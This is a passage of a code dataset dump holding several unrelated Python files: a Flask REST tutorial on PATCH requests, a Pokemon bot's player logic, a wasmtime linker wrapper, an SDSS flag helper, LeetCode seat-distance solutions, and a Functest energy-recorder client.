request_data['price'],\n\t\t'isbn': isbn\n\t}\n\ti = 0;\n\tfor book in books:\n\t\tcurrentIsbn = book[\"isbn\"]\n\t\tif currentIsbn == isbn:\n\t\t\tbooks[i] = new_book\n\t\ti += 1\n\tresponse = Response(\"\", status=204)\n\treturn response\n\napp.run(port=5000)\n\n# So in the last couple of videos, we gave our clients the ability to, given an\n# isbn number for a book, to be able to replace that entire book entry with a\n# new one.\n\n# So far we only had three properties for a given book: it's isbn number,\n# it's price and the book's name.\n\n# Using a PUT request, a client would be required to send us all three of these pieces\n# of information, even if they only wanted to update one property.\n\n# So let's say a client wanted to only update only the name of a book, let's say from 'A'\n# to 'Harry Potter and the Chamber Of Secrets'\n\n# Right now, they would have to also send us the book price in the request body, even if\n# The price hasn't changed.\n\n# PUT /books/9780394800165\n# {\n# \t'name': 'Harry Potter and the Chamber Of Secrets',\n# \t'price': 7.99,\n# }\n\n# This is not so bad, but it is inconvient for the client to have to send in data\n# that they know isn't going to change.\n\n# But they only have to send one extra piece of data so it's maneagble for them.\n\n# In an enterprise environment, however, a book would most likely have a lot more than\n# two properties.\n\n# It could in fact have anywhere from 20-40 different properties.\n\n# Things like the whether the book is available as an ebook, hard cover or soft cover.\n# How many units of the book are in stock.\n# How many stars does this book have out of 5 from customer views, etc.\n\n# In this scenario, it is unreasonable for us to require a client to send us an entire\n# book's information just to update one or a few properties.\n\n# You may be thinking to yourself, there must be a better way.\n\n# And there is.\n\n# So the protocol we used, PUT requires in REST for a client to send us an entire entity\n# so we can update it.\n\n# There is another HTTP protocol, called PATCH, which allows a client to only send us\n# the piece to update and then we just update that portion.\n\n# This protocol is called PATCH and we will discuss it in-depth in the next couple of videos.\n\n# For now, let's just define the route to handle this and for now just place a pass\n# within in.\n\n@app.route('/books/', methods=['PATCH'])\ndef update_book(isbn):\n\tpass\n\n# So in this video, we defined the use case for why we would need a PATCH request.\n\n# This would be when a client only to update a certain attribute and not have them\n# send all book properties back to us.\n\n# In the next video, we will go ahead and start coding this route up.\n","sub_path":"Rest API using Flask/Course File/05/demos/Chapter_6.py","file_name":"Chapter_6.py","file_ext":"py","file_size_in_byte":6500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"650829792","text":"from typing import List\nimport random\n\nfrom src.Entity.poke_py_models import *\nfrom src.Logic.AuxiliaryClasses.NonAttackAction import NonAttackAction\nfrom src.Logic.LogicExceptions import *\n\nfrom src.Config.botconfig import config\n\nfrom src.Logic.PokemonLogic import PokemonLogic\nfrom src.Logic.GameState import GameState\n\n\nclass PlayerLogic:\n def __init__(self):\n pass\n\n @staticmethod\n def get_player_by_id(player_id: int) -> Player:\n \"\"\" returns a player object if one exists with this id\"\"\"\n try:\n res = Player.select().where(Player.player_id == player_id)\n except Exception as e:\n raise DatabaseException(e.message)\n if len(res) > 0:\n return res.get()\n else:\n raise NotAPlayerException()\n\n @staticmethod\n def add_money(player_id: int, amount: int):\n \"\"\"adds amount money to the players funds\"\"\"\n player = PlayerLogic.get_player_by_id(player_id)\n player.money = player.money + amount\n if player.money < 0:\n player.money = 0\n try:\n player.save()\n except Exception as e:\n raise DatabaseException(e.message)\n\n @staticmethod\n def remove_money(player_id: int, amount: int):\n \"\"\"removes amount money from the players funds\"\"\"\n player = PlayerLogic.get_player_by_id(player_id)\n player.money = player.money - amount\n try:\n player.save()\n except Exception as e:\n raise DatabaseException(e.message)\n\n @staticmethod\n def get_all_players() -> List[Player]:\n \"\"\"returns a list of all players\"\"\"\n try:\n return [_ for _ in Player.select()]\n except Exception as e:\n raise DatabaseException(e.message)\n\n @staticmethod\n def _assign_default_items(player: Player):\n potion = PlayerItem.create(player=player.player_id, item=1, amount=10)\n pokeball = PlayerItem.create(player=player.player_id, item=16, amount=10)\n masterball = PlayerItem.create(player=player.player_id, item=19, amount=1)\n potion.save()\n pokeball.save()\n masterball.save()\n\n @staticmethod\n def create_player(player_id: int, pokemon_name: str, money: int = 10000):\n \"\"\"creates an entry for the player in the database if not already existing\"\"\"\n try:\n PlayerLogic.get_player_by_id(player_id)\n raise PlayerAlreadyExistingException()\n except NotAPlayerException:\n pokemon: Pokemon = PokemonLogic.get_pokemon_by_name(pokemon_name)\n if pokemon.starter != 1:\n raise NotAStarterPokemonException(pokemon_name)\n player = Player.create(got_starter=1, money=money, player_id=player_id)\n player.save()\n starter: PlayerPokemon = PlayerPokemon.create(player_id=player.player_id, pokemon=pokemon.pokedex_id,\n pokemon_level=5, team_position=1, xp=500, current_hp=0)\n starter.current_hp = PokemonLogic.get_pokemon_max_hp(starter)\n starter.save()\n\n PlayerPokemonAttack.create(attack=1, player_pokemon=starter).insert()\n\n PlayerLogic.add_pokemon_to_player_pokedex(player.player_id, pokemon.pokedex_id)\n PlayerLogic._assign_default_items(player)\n\n @staticmethod\n def get_items_for_player_id(player_id: int):\n try:\n return PlayerItem.select(Item.item_name, PlayerItem.amount).join(Item).where(PlayerItem.player == player_id)\n except Exception as e:\n raise DatabaseException(e.message)\n\n @staticmethod\n def get_pokemon_in_team(player_id: int):\n return PlayerPokemon.select().where(PlayerPokemon.player_id == player_id,\n config[\"minTeamSize\"] <= PlayerPokemon.team_position <= config[\n \"maxTeamSize\"])\n\n @staticmethod\n def get_pokemon_in_box(player_id: int):\n return PlayerPokemon.select().where(\n (PlayerPokemon.player_id == player_id) & (PlayerPokemon.team_position == None))\n\n @staticmethod\n def add_pokemon_to_player_pokedex(player_id: int, pokemon_id: int):\n if len(PlayerPokedex.select().where(\n (PlayerPokedex.player == player_id) & (PlayerPokedex.pokemon == pokemon_id))) == 0:\n entry = PlayerPokedex.create(player=player_id, pokemon=pokemon_id)\n entry.insert()\n\n @staticmethod\n def get_pokedex_for_player(player_id: int):\n all_pokemon = list(PokemonLogic.get_all_pokemon())\n player_pokemon = PlayerPokedex.select().where(PlayerPokedex.player_id == player_id)\n\n # expect player to not have any pokemon\n pokedex_info = {p: False for p in all_pokemon}\n\n # this is not efficient but as long as it works it is fine\n for x in range(0, len(all_pokemon)):\n current_pokemon: Pokemon = all_pokemon[x]\n for y in range(0, len(player_pokemon)):\n current_player_pokemon: Pokemon = player_pokemon[y]\n if current_pokemon.pokedex_id == current_player_pokemon.pokemon.pokedex_id:\n pokedex_info[current_pokemon] = True\n\n return pokedex_info\n\n @staticmethod\n def get_pokedex_entry_for_player(player_id: int, pokemon_name: str):\n try:\n # First Or None\n return [p.pokemon for p in PlayerPokedex.select().where(PlayerPokedex.player_id == player_id) if\n p.pokemon.pokemon_name == pokemon_name][0]\n except:\n return None\n\n @staticmethod\n def store_pokemon_by_team_member_id(player_id: int, teammember_id: int):\n player_pokemon: [PlayerPokemon] = PlayerPokemon.select().where(PlayerPokemon.player_id == player_id)\n\n # i dare you to run without pokemon around!\n if len(player_pokemon) - 1 <= 0:\n return\n\n for x in range(0, len(player_pokemon)):\n if player_pokemon[x].team_position == teammember_id:\n player_pokemon[x].team_position = None\n player_pokemon[x].save()\n return player_pokemon[x]\n\n @staticmethod\n def retrieve_pokemon_by_id(player_id: int, box_id: int):\n player_pokemon: [PlayerPokemon] = list(PlayerLogic.get_pokemon_in_box(player_id))\n\n current_carry: int = sum([1 if x.team_position is not None else 0 for x in player_pokemon])\n\n if current_carry != config[\"maxTeamSize\"]:\n current_box_pokemon: PlayerPokemon = player_pokemon[box_id - 1]\n\n found = {k: False for k in range(int(config[\"minTeamSize\"]), int(config[\"maxTeamSize\"]) + 1)}\n\n for i in range(int(config[\"minTeamSize\"]), int(config[\"maxTeamSize\"]) + 1):\n try:\n PlayerPokemon.select().where(\n (PlayerPokemon.player_id == player_id) & (PlayerPokemon.team_position == i)).get()\n except:\n current_box_pokemon.team_position = i\n current_box_pokemon.save()\n return current_box_pokemon\n\n return None\n\n @staticmethod\n def set_active_pokemon(trainerId, teamnumber1, teamnumber2):\n try:\n team = PlayerLogic.get_player_team(trainerId)\n if len(PlayerLogic.get_player_team(trainerId)) >= teamnumber2 and teamnumber2 <= config[\"maxTeamSize\"]:\n p = PlayerLogic.get_by_team_position(trainerId, teamnumber1)\n\n outtext = f\"```{p.pokemon.pokemon_name} swaped places with \" \\\n f\"{PlayerLogic.get_by_team_position(trainerId, teamnumber2).pokemon.pokemon_name}!```\"\n PlayerPokemon.update(team_position=teamnumber1).where(\n (PlayerPokemon.player_id == trainerId) & (PlayerPokemon.team_position == teamnumber2)).execute()\n PlayerPokemon.update(team_position=teamnumber2).where(\n (PlayerPokemon.player_pokemon_id == p.player_pokemon_id) &\n (PlayerPokemon.team_position == teamnumber1))\\\n .execute()\n return outtext\n else:\n return \"```Not enough Pokemon in your Party!```\"\n except Exception as e:\n raise DatabaseException(e.message)\n\n @staticmethod\n def set_new_battle_invitation(trainer1, trainer2):\n GameState.get_instance().set_new_battle_invitation(trainer1, trainer2)\n\n @staticmethod\n def accept_decline_battle_invitation(trainer1, trainer2, accepting):\n GameState.get_instance().accept_decline_battle_invitation(trainer1, trainer2, accepting)\n\n @staticmethod\n def is_in_battle(trainer_id):\n return GameState.get_instance().is_player_in_combat(trainer_id)\n\n @staticmethod\n def is_in_trainer_battle(trainer_id):\n return GameState.get_instance().is_player_battle(trainer_id)\n\n @staticmethod\n def get_player_team(player_id: int) -> List[PlayerPokemon]:\n \"\"\"returns the pokemon outside of the box as a list of player pokemon\"\"\"\n player = PlayerLogic.get_player_by_id(player_id)\n try:\n return PlayerPokemon.select().where((PlayerPokemon.player_id == player.player_id) &\n (PlayerPokemon.team_position is not None))\n except Exception as e:\n DatabaseException(e.message)\n\n @staticmethod\n def get_by_team_position(player_id: int, position: int = 1) -> PlayerPokemon:\n \"\"\"get player pokemon by its position in the team\"\"\"\n player = PlayerLogic.get_player_by_id(player_id)\n try:\n res = PlayerPokemon.select().where((PlayerPokemon.player_id == player.player_id) &\n (PlayerPokemon.team_position == position))\n except Exception as e:\n raise DatabaseException(e.message)\n if len(res) > 0:\n return res.get()\n else:\n raise NoPokemonAtThatPositionException(player.player_id, position)\n\n @staticmethod\n def get_money_for_player(player_id: int) -> int:\n \"\"\"returns the amount of money a player owns\"\"\"\n p = PlayerLogic.get_player_by_id(player_id)\n return p.money\n\n @staticmethod\n def has_live_pokemon_left(player_id: int):\n team = PlayerLogic.get_player_team(player_id)\n for p in team:\n if p.current_hp > 0:\n return True\n return False\n\n @staticmethod\n def is_aktive_pokemon_knocked_out(player: int):\n return PlayerLogic.get_by_team_position(player).current_hp == 0\n\n @staticmethod\n def start_battle_wild(playerid):\n gs = GameState.get_instance()\n gs.get_current_wild_pokemon()\n if not gs.is_wild_in_battle():\n gs.start_battle_with_wild_pokemon(playerid)\n from src.Logic.GameLogic import GameLogic\n return f\"```Battle started Good luck!\\nPlayer:\" \\\n f\"{GameLogic.get_team_text(PlayerLogic.get_player_team(playerid))}\\n\" \\\n f\"\\nWild:{gs.get_current_wild_pokemon().pokemon.pokemon_name}```\"\n else:\n return \"```Wild Pokemon is already in battle, good luck next time!```\"\n\n @staticmethod\n def get_highest_teammember(player):\n team = PlayerLogic.get_player_team(player)\n level = 0\n for p in team:\n if p.pokemon_level > level:\n level = p.pokemon_level\n return level\n\n @staticmethod\n def run_from_wild_pokemon(player):\n gs = GameState.get_instance()\n wild = gs.get_current_wild_pokemon()\n if gs.is_wild_battle(player):\n aktive = PlayerLogic.get_by_team_position(player)\n if aktive.pokemon.speed > wild.pokemon.speed:\n gs.bot_battle_finished(player)\n return \"```You got away successfully!```\"\n elif random.randint(0, 1) == 1:\n gs.bot_battle_finished(player)\n return \"```You got away successfully!```\"\n else:\n from src.Logic.AttackLogic import AttackLogic\n return f\"```You couldn´t get away!\\n{AttackLogic.set_no_attack_turn(player, NonAttackAction(4))}```\"\n else:\n return \"```You are not engaged in Battle with the wild Pokemon, therefore you can not run from it!```\"\n","sub_path":"src/Logic/PlayerLogic.py","file_name":"PlayerLogic.py","file_ext":"py","file_size_in_byte":12372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"9979672","text":"from ctypes import *\nfrom wasmtime import Store, Instance\nfrom wasmtime import Module, Trap, WasiInstance, WasmtimeError, Func\nfrom . import _ffi as ffi\nfrom ._extern import get_extern_ptr, wrap_extern\nfrom ._config import setter_property\nfrom ._exportable import AsExtern\n\n\nclass Linker:\n def __init__(self, store: Store):\n \"\"\"\n Creates a new linker ready to instantiate modules within the store\n provided.\n \"\"\"\n if not isinstance(store, Store):\n raise TypeError(\"expected a Store\")\n self._ptr = ffi.wasmtime_linker_new(store._ptr)\n self.store = store\n\n @setter_property\n def allow_shadowing(self, allow: bool) -> None:\n \"\"\"\n Configures whether definitions are allowed to shadow one another within\n this linker\n \"\"\"\n if not isinstance(allow, bool):\n raise TypeError(\"expected a boolean\")\n ffi.wasmtime_linker_allow_shadowing(self._ptr, allow)\n\n def define(self, module: str, name: str, item: AsExtern) -> None:\n \"\"\"\n Defines a new item, by name, in this linker.\n\n This method will add a new definition to this linker. The `module` nad\n `name` provided are what to name the `item` within the linker.\n\n This function will raise an error if `item` comes from the wrong store\n or if shadowing is disallowed and the module/name pair has already been\n defined.\n \"\"\"\n raw_item = get_extern_ptr(item)\n module_raw = ffi.str_to_name(module)\n name_raw = ffi.str_to_name(name)\n error = ffi.wasmtime_linker_define(\n self._ptr,\n byref(module_raw),\n byref(name_raw),\n raw_item)\n if error:\n raise WasmtimeError._from_ptr(error)\n\n def define_instance(self, name: str, instance: Instance) -> None:\n \"\"\"\n Convenience wrapper to define an entire instance in this linker.\n\n This function will `define` eaech of the exports on the instance into\n this linker, using the name provided as the module name and the export's\n own name as the field name.\n\n This function will raise an error if `instance` comes from the wrong\n store or if shadowing is disallowed and a name was previously defined.\n \"\"\"\n if not isinstance(instance, Instance):\n raise TypeError(\"expected an `Instance`\")\n name_raw = ffi.str_to_name(name)\n error = ffi.wasmtime_linker_define_instance(self._ptr, byref(name_raw),\n instance._ptr)\n if error:\n raise WasmtimeError._from_ptr(error)\n\n def define_wasi(self, instance: WasiInstance) -> None:\n \"\"\"\n Defines a WASI instance in this linker.\n\n The instance provided has been previously constructed and this method\n will define all the appropriate imports and their names into this linker\n to assist with instantiating modules that use WASI.\n\n This function will raise an error if shadowing is disallowed and a name\n was previously defined.\n \"\"\"\n if not isinstance(instance, WasiInstance):\n raise TypeError(\"expected an `WasiInstance`\")\n error = ffi.wasmtime_linker_define_wasi(self._ptr, instance._ptr)\n if error:\n raise WasmtimeError._from_ptr(error)\n\n def define_module(self, name: str, module: Module) -> None:\n \"\"\"\n Defines automatic instantiations of the provided module in this linker.\n\n The `module` provided is defined under `name` with automatic\n instantiations which respect WASI Commands and Reactors.\n\n For more information see the Rust documentation at\n https://docs.wasmtime.dev/api/wasmtime/struct.Linker.html#method.module.\n\n This method will throw an error if shadowing is disallowed and an item\n has previously been defined.\n \"\"\"\n if not isinstance(module, Module):\n raise TypeError(\"expected a `Module`\")\n name_raw = ffi.str_to_name(name)\n error = ffi.wasmtime_linker_module(self._ptr, byref(name_raw), module._ptr)\n if error:\n raise WasmtimeError._from_ptr(error)\n\n def instantiate(self, module: Module) -> Instance:\n \"\"\"\n Instantiates a module using this linker's defined set of names.\n\n This method will attempt to satisfy all the imports of the `module`\n provided with the names defined within this linker. If all names are\n defined then the module is instantiated.\n\n Raises an error if an import of `module` hasn't been defined in this\n linker or if a trap happens while instantiating the instance.\n \"\"\"\n if not isinstance(module, Module):\n raise TypeError(\"expected a `Module`\")\n trap = POINTER(ffi.wasm_trap_t)()\n instance = POINTER(ffi.wasm_instance_t)()\n error = ffi.wasmtime_linker_instantiate(\n self._ptr, module._ptr, byref(instance), byref(trap))\n if error:\n raise WasmtimeError._from_ptr(error)\n if trap:\n raise Trap._from_ptr(trap)\n return Instance._from_ptr(instance, None)\n\n def get_default(self, name: str) -> Func:\n \"\"\"\n Gets the default export for the named module in this linker.\n\n For more information on this see the Rust documentation at\n https://docs.wasmtime.dev/api/wasmtime/struct.Linker.html#method.get_default.\n\n Raises an error if the default export wasn't present.\n \"\"\"\n name_raw = ffi.str_to_name(name)\n default = POINTER(ffi.wasm_func_t)()\n error = ffi.wasmtime_linker_get_default(self._ptr, byref(name_raw), byref(default))\n if error:\n raise WasmtimeError._from_ptr(error)\n return Func._from_ptr(default, None)\n\n def get_one_by_name(self, module: str, name: str) -> AsExtern:\n \"\"\"\n Gets a singular item defined in this linker.\n\n Raises an error if this item hasn't been defined or if the item has been\n defined twice with different types.\n \"\"\"\n module_raw = ffi.str_to_name(module)\n name_raw = ffi.str_to_name(name)\n item = POINTER(ffi.wasm_extern_t)()\n error = ffi.wasmtime_linker_get_one_by_name(self._ptr, byref(module_raw), byref(name_raw), byref(item))\n if error:\n raise WasmtimeError._from_ptr(error)\n return wrap_extern(item, None)\n\n def __del__(self) -> None:\n if hasattr(self, '_ptr'):\n ffi.wasmtime_linker_delete(self._ptr)\n","sub_path":"wasmtime/_linker.py","file_name":"_linker.py","file_ext":"py","file_size_in_byte":6583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"286536982","text":"# Licensed under a 3-clause BSD style license - see LICENSE.rst\n# -*- coding: utf-8 -*-\ndef sdss_flagexist(flagname, bitname, flagexist=False):\n \"\"\"Check for the existence of flags.\n\n Parameters\n ----------\n flagname : str\n The name of a bitmask group. Not case-sensitive.\n bitname : str or list\n The name(s) of the specific bitmask(s) within the `flagname` group.\n flagexist : bool\n If flagexist is True, return a tuple with the second component indicating\n whether the binary flag named `flagname` exists, even if `bitname` is wrong.\n\n Returns\n -------\n sdss_flagexist : bool or tuple\n A boolean value or a tuple of bool.\n \"\"\"\n from . import maskbits\n #\n # Make sure label is a list\n #\n #if isinstance(bitname,str):\n # bitnames = [bitname.upper()]\n #else:\n # bitnames = [b.upper() for b in bitname]\n f = False\n l = False\n if flagname.upper() in maskbits:\n f = True\n if bitname in maskbits[flagname.upper()]:\n l = True\n if flagexist:\n return (l,f)\n else:\n return l\n","sub_path":"pydl/pydlutils/sdss/sdss_flagexist.py","file_name":"sdss_flagexist.py","file_ext":"py","file_size_in_byte":1115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"608305591","text":"\"\"\"\r\n849.到最近的人的最大距离\r\n在一排座位( seats)中,1 代表有人坐在座位上,0 代表座位上是空的。\r\n\r\n至少有一个空座位,且至少有一人坐在座位上。\r\n\r\n亚历克斯希望坐在一个能够使他与离他最近的人之间的距离达到最大化的座位上。\r\n\r\n返回他到离他最近的人的最大距离。\r\n\r\n示例 1:\r\n\r\n输入:[1,0,0,0,1,0,1]\r\n输出:2\r\n解释:\r\n如果亚历克斯坐在第二个空位(seats[2])上,他到离他最近的人的距离为 2 。\r\n如果亚历克斯坐在其它任何一个空位上,他到离他最近的人的距离为 1 。\r\n因此,他到离他最近的人的最大距离是 2 。\r\n示例 2:\r\n\r\n输入:[1,0,0,0]\r\n输出:3\r\n解释:\r\n如果亚历克斯坐在最后一个座位上,他离最近的人有 3 个座位远。\r\n这是可能的最大距离,所以答案是 3 。\r\n提示:\r\n\r\n1 <= seats.length <= 20000\r\nseats 中只含有 0 和 1,至少有一个 0,且至少有一个 1。\r\n\r\n来源:力扣(LeetCode)\r\n链接:https://leetcode-cn.com/problems/maximize-distance-to-closest-person\r\n著作权归领扣网络所有。商业转载请联系官方授权,非商业转载请注明出处。\r\n\"\"\"\r\nimport math\r\nclass Solution:\r\n # 记录开头连续0,结尾连续0,中间连续0的最大值/2,三者取最大值\r\n def maxDistToClosest(self, seats) -> int:\r\n count0, count, i, n = 0, 0, 0, len(seats)\r\n for j in range(n-1, -1 , -1):\r\n if seats[j] == 1:\r\n count0 = max(count0, n - j - 1)\r\n break\r\n if j == 0:\r\n return count0\r\n while seats[i] != 1:\r\n i += 1\r\n count0 = max(count0, i)\r\n if i == n - 1:\r\n return count0\r\n i += 1\r\n begin = i\r\n while i < n:\r\n if seats[i] == 1:\r\n count = max(count, i - begin)\r\n begin = i + 1\r\n i += 1\r\n return max(math.ceil(count / 2), count0)\r\n\r\n # 记录1的位置,求最大的差值, 47.84 14.86\r\n def maxDistToClosest(self, seats) -> int:\r\n arr, maxDist = [], 0\r\n for i, seat in enumerate(seats):\r\n if seat == 1:\r\n arr.append(i)\r\n maxDist = max(arr[0], len(seats) - arr[-1] - 1)\r\n for i in range(len(arr) - 1):\r\n maxDist = max(maxDist, (arr[i+1] - arr[i]) >> 1)\r\n return maxDist\r\n\r\n # 优秀解答\r\n def maxDistToClosest(self, seats) -> int:\r\n max_len = 1\r\n length = 0\r\n pre_len = -1\r\n for i, seat in enumerate(seats):\r\n if seat == 0:\r\n length += 1\r\n else:\r\n if length > 0:\r\n if pre_len < 0 and seats[0] == 0:\r\n pre_len = length\r\n elif length > max_len:\r\n max_len = length\r\n length = 0\r\n return max(max_len // 2 + max_len % 2, pre_len, length)\r\n\r\n # 优秀解答,从左右两边记录\r\n def maxDistToClosest(self, seats) -> int:\r\n N = len(seats)\r\n left, right = [N] * N, [N] * N\r\n\r\n for i in range(N):\r\n if seats[i] == 1:\r\n left[i] = 0\r\n elif i > 0:\r\n left[i] = left[i - 1] + 1\r\n\r\n for i in range(N - 1, -1, -1):\r\n if seats[i] == 1:\r\n right[i] = 0\r\n elif i < N - 1:\r\n right[i] = right[i + 1] + 1\r\n return max(min(left[i], right[i]) for i, seat in enumerate(seats) if not seat)\r\n\r\n\r\n\r\n\r\ns=Solution()\r\nprint(2, s.maxDistToClosest([1,0,0,0,1,0,1]))\r\nprint(3, s.maxDistToClosest([1,0,0,0]))\r\nprint(1, s.maxDistToClosest([1,0,0,1]))\r\nprint(2, s.maxDistToClosest([0,0,1,0,1,1]))\r\n\r\n \r\n\r\n\r\n\r\n","sub_path":"MaximizeDistanceToClosestPerson.py","file_name":"MaximizeDistanceToClosestPerson.py","file_ext":"py","file_size_in_byte":3794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"435418654","text":"#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\n\n# Copyright (c) 2017 Orange and others.\n#\n# All rights reserved. This program and the accompanying materials\n# are made available under the terms of the Apache License, Version 2.0\n# which accompanies this distribution, and is available at\n# http://www.apache.org/licenses/LICENSE-2.0\n\n\"\"\"This module manages calls to Energy recording API.\"\"\"\n\nimport json\nimport logging\nimport urllib\n\nfrom functools import wraps\nimport requests\n\nimport functest.utils.functest_utils as ft_utils\n\n\ndef finish_session(current_scenario):\n \"\"\"Finish a recording session.\"\"\"\n if current_scenario is None:\n EnergyRecorder.stop()\n else:\n EnergyRecorder.submit_scenario(\n current_scenario[\"scenario\"],\n current_scenario[\"step\"]\n )\n\n\ndef enable_recording(method):\n \"\"\"\n Record energy during method execution.\n\n Decorator to record energy during \"method\" exection.\n\n param method: Method to suround with start and stop\n :type method: function\n\n .. note:: \"method\" should belong to a class having a \"case_name\"\n attribute\n \"\"\"\n @wraps(method)\n def wrapper(*args):\n \"\"\"\n Record energy during method execution (implementation).\n\n Wrapper for decorator to handle method arguments.\n \"\"\"\n current_scenario = EnergyRecorder.get_current_scenario()\n EnergyRecorder.start(args[0].case_name)\n try:\n return_value = method(*args)\n finish_session(current_scenario)\n except Exception: # pylint: disable=broad-except\n finish_session(current_scenario)\n raise\n return return_value\n return wrapper\n\n\n# Class to manage energy recording sessions\nclass EnergyRecorder(object):\n \"\"\"Manage Energy recording session.\"\"\"\n\n logger = logging.getLogger(__name__)\n # Energy recording API connectivity settings\n # see load_config method\n energy_recorder_api = None\n\n # Default initial step\n INITIAL_STEP = \"running\"\n\n @staticmethod\n def load_config():\n \"\"\"\n Load connectivity settings from yaml.\n\n Load connectivity settings to Energy recording API\n Use functest global config yaml file\n (see functest_utils.get_functest_config)\n \"\"\"\n # Singleton pattern for energy_recorder_api static member\n # Load only if not previouly done\n if EnergyRecorder.energy_recorder_api is None:\n environment = ft_utils.get_pod_name()\n\n # API URL\n energy_recorder_uri = ft_utils.get_functest_config(\n \"energy_recorder.api_url\")\n assert energy_recorder_uri\n assert environment\n\n energy_recorder_uri += \"/recorders/environment/\"\n energy_recorder_uri += urllib.quote_plus(environment)\n EnergyRecorder.logger.debug(\n \"API recorder at: \" + energy_recorder_uri)\n\n # Creds\n user = ft_utils.get_functest_config(\n \"energy_recorder.api_user\")\n password = ft_utils.get_functest_config(\n \"energy_recorder.api_password\")\n\n if user != \"\" and password != \"\":\n energy_recorder_api_auth = (user, password)\n else:\n energy_recorder_api_auth = None\n\n # Final config\n EnergyRecorder.energy_recorder_api = {\n \"uri\": energy_recorder_uri,\n \"auth\": energy_recorder_api_auth\n }\n\n @staticmethod\n def submit_scenario(scenario, step):\n \"\"\"\n Submit a complet scenario definition to Energy recorder API.\n\n param scenario: Scenario name\n :type scenario: string\n param step: Step name\n :type step: string\n \"\"\"\n return_status = True\n try:\n EnergyRecorder.logger.debug(\"Submitting scenario\")\n # Ensure that connectyvity settings are loaded\n EnergyRecorder.load_config()\n\n # Create API payload\n payload = {\n \"step\": step,\n \"scenario\": scenario\n }\n # Call API to start energy recording\n response = requests.post(\n EnergyRecorder.energy_recorder_api[\"uri\"],\n data=json.dumps(payload),\n auth=EnergyRecorder.energy_recorder_api[\"auth\"],\n headers={\n 'content-type': 'application/json'\n }\n )\n if response.status_code != 200:\n log_msg = \"Error while submitting scenario\\n{}\"\n log_msg = log_msg.format(response.text)\n EnergyRecorder.logger.info(log_msg)\n return_status = False\n except Exception: # pylint: disable=broad-except\n # Default exception handler to ensure that method\n # is safe for caller\n EnergyRecorder.logger.exception(\n \"Error while submitting scenarion to energy recorder API\"\n )\n return_status = False\n return return_status\n\n @staticmethod\n def start(scenario):\n \"\"\"\n Start a recording session for scenario.\n\n param scenario: Starting scenario\n :type scenario: string\n \"\"\"\n return_status = True\n try:\n EnergyRecorder.logger.debug(\"Starting recording\")\n return_status = EnergyRecorder.submit_scenario(\n scenario,\n EnergyRecorder.INITIAL_STEP\n )\n\n except Exception: # pylint: disable=broad-except\n # Default exception handler to ensure that method\n # is safe for caller\n EnergyRecorder.logger.exception(\n \"Error while starting energy recorder API\"\n )\n return_status = False\n return return_status\n\n @staticmethod\n def stop():\n \"\"\"Stop current recording session.\"\"\"\n EnergyRecorder.logger.debug(\"Stopping recording\")\n return_status = True\n try:\n # Ensure that connectyvity settings are loaded\n EnergyRecorder.load_config()\n\n # Call API to stop energy recording\n response = requests.delete(\n EnergyRecorder.energy_recorder_api[\"uri\"],\n auth=EnergyRecorder.energy_recorder_api[\"auth\"],\n headers={\n 'content-type': 'application/json'\n }\n )\n if response.status_code != 200:\n log_msg = \"Error while stating energy recording session\\n{}\"\n log_msg = log_msg.format(response.text)\n EnergyRecorder.logger.error(log_msg)\n return_status = False\n except Exception: # pylint: disable=broad-except\n # Default exception handler to ensure that method\n # is safe for caller\n EnergyRecorder.logger.exception(\n \"Error while stoping energy recorder API\"\n )\n return_status = False\n return return_status\n\n @staticmethod\n def set_step(step):\n \"\"\"Notify energy recording service of current step of the testcase.\"\"\"\n EnergyRecorder.logger.debug(\"Setting step\")\n return_status = True\n try:\n # Ensure that connectyvity settings are loaded\n EnergyRecorder.load_config()\n\n # Create API payload\n payload = {\n \"step\": step,\n }\n\n # Call API to define step\n response = requests.post(\n EnergyRecorder.energy_recorder_api[\"uri\"] + \"/step\",\n data=json.dumps(payload),\n auth=EnergyRecorder.energy_recorder_api[\"auth\"],\n headers={\n 'content-type': 'application/json'\n }\n )\n if response.status_code != 200:\n log_msg = \"Error while setting current step of testcase\\n{}\"\n log_msg = log_msg.format(response.text)\n EnergyRecorder.logger.error(log_msg)\n return_status = False\n except Exception: # pylint: disable=broad-except\n # Default exception handler to ensure that method\n # is safe for caller\n EnergyRecorder.logger.exception(\n \"Error while setting step on energy recorder API\"\n )\n return_status = False\n return return_status\n\n @staticmethod\n def get_current_scenario():\n \"\"\"Get current running scenario (if any, None else).\"\"\"\n EnergyRecorder.logger.debug(\"Getting current scenario\")\n return_value = None\n try:\n # Ensure that connectyvity settings are loaded\n EnergyRecorder.load_config()\n\n # Call API get running scenario\n response = requests.get(\n EnergyRecorder.energy_recorder_api[\"uri\"],\n auth=EnergyRecorder.energy_recorder_api[\"auth\"]\n )\n if response.status_code == 200:\n return_value = json.loads(response.text)\n elif response.status_code == 404:\n log_msg = \"No current running scenario at {}\"\n log_msg = log_msg.format(\n EnergyRecorder.energy_recorder_api[\"uri\"])\n EnergyRecorder.logger.error(log_msg)\n return_value = None\n else:\n log_msg = \"Error while getting current scenario\\n{}\"\n log_msg = log_msg.format(response.text)\n EnergyRecorder.logger.error(log_msg)\n return_value = None\n except Exception: # pylint: disable=broad-except\n # Default exception handler to ensure that method\n # is safe for caller\n EnergyRecorder.logger.exception(\n \"Error while getting current scenario from energy recorder API\"\n )\n return_value = None\n return return_value\n","sub_path":"functest/energy/energy.py","file_name":"energy.py","file_ext":"py","file_size_in_byte":10045,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"194870572","text":"import logging\nfrom typing import cast\n\nfrom fastapi import FastAPI\nfrom servicelib.redis import RedisClientSDK\nfrom settings_library.redis import RedisDatabase, RedisSettings\n\nfrom ..core.settings import get_application_settings\n\nlogger = logging.getLogger(__name__)\n\n\ndef setup(app: FastAPI) -> None:\n async def on_startup() -> None:\n app.state.redis_client_sdk = None\n settings: RedisSettings = get_application_settings(app).CLUSTERS_KEEPER_REDIS\n redis_locks_dsn = settings.build_redis_dsn(RedisDatabase.LOCKS)\n app.state.redis_client_sdk = client = RedisClientSDK(redis_locks_dsn)\n await client.setup()\n\n async def 